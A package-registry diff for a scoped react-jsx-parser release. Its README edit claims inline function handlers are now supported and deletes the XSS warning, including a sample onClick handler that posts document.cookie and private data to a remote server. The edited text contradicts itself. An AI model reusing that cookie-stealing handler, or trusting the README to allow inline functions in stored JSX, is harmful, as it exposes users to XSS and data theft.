@recursive-robot/react-jsx-parser 1.30.2 → 1.31.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -14
- package/dist/cjs/react-jsx-parser.min.js +1 -1
- package/dist/cjs/react-jsx-parser.min.js.map +1 -1
- package/dist/es5/react-jsx-parser.min.js +1 -1
- package/dist/es5/react-jsx-parser.min.js.map +1 -1
- package/dist/umd/react-jsx-parser.min.js +1 -1
- package/dist/umd/react-jsx-parser.min.js.map +1 -1
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -49,23 +49,10 @@ Finally, a note about property bindings. The `JsxParser` can handle several type
|
|
|
49
49
|
- named-value binding, such as `eventHandler={myEventHandler}` (note that this requires a match in `bindings`)
|
|
50
50
|
- simple [single statement arrow expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#basic_syntax) `(item) => <p>{item.name}</p>`
|
|
51
51
|
|
|
52
|
-
The component
|
|
53
|
-
- `onClick={function (event) { /* do stuff */ }}`, or
|
|
52
|
+
The component does support inline arrow function declarations, such as:
|
|
54
53
|
- `onKeyPress={event => { /* do stuff */}}`
|
|
55
54
|
- Function or arrow functions with bodies `() => { return <p>This will not work</p> }`
|
|
56
55
|
|
|
57
|
-
This is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:
|
|
58
|
-
```javascript
|
|
59
|
-
<JsxParser
|
|
60
|
-
bindings={{ userInfo: { private: 'data' } }}
|
|
61
|
-
onClick={() => {
|
|
62
|
-
fetch('/some/remote/server', {
|
|
63
|
-
body: JSON.stringify({ cookies: document.cookie, userInfo })
|
|
64
|
-
})
|
|
65
|
-
}}
|
|
66
|
-
/>
|
|
67
|
-
```
|
|
68
|
-
|
|
69
56
|
## Advanced Usage - Injecting Dynamic JSX
|
|
70
57
|
```javascript
|
|
71
58
|
// Import desired set of components
|